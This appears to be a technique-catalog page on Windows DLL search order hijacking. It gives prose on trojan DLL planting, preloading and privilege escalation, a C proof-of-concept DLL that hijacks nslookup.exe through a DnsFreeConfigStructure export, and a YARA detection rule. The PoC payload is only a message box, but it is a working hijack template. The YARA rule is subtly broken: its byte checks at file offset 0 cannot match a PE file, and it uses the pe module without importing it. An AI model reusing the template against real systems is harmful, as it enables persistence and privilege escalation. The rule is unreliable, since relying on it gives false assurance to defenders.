Hijack Execution Flow: DLL Search Order Hijacking

Created the Monday 25 July 2022. Updated 1 year, 1 month ago.

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

Technique Identifier

T1574.001

Technique Tags

Persistence Privilege Escalation Defense Evasion execute malicious payloads trojan dynamic-link library files (DLLs) DLL preloading binary planting attacks mimic legitimate DLL DLL redirection

Code Snippets

Description

DLL Search Order Hijacking via DnsFreeConfigStructure function in the DLL DNSAPI.dll of the executable nslookup.exe.

#include <windows.h>

int Main() {
    MessageBoxW(0, L"DLL Search Order Hijacking is present", L"DLL Search Order Hijacking", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Main, NULL, NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

__declspec(dllexport) void DnsFreeConfigStructure() { Main(); }

About Author Open Snippet

Author: Sh0ckFR / Target Platform: Windows

Detection Rules

rule DLLHijacking {
  condition:
    // Check for presence of DLL_PROCESS_ATTACH in DllMain function
    uint16(0) == 0x6461 and (
      // Check for the presence of CreateThread, which is used to start the main function
      uint32(2) == 0x74006872 and uint32(6) == 0x00006563 and uint32(10) == 0x74616843 and
      
      // Check for the presence of Main function
      uint32(14) == 0x6E69006D and uint32(18) == 0x0064614D
    )
    // Check for presence of dllexport attribute
    and (pe.exports("DnsFreeConfigStructure") or pe.exports("DnsFreeConfigStructure@0"))
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.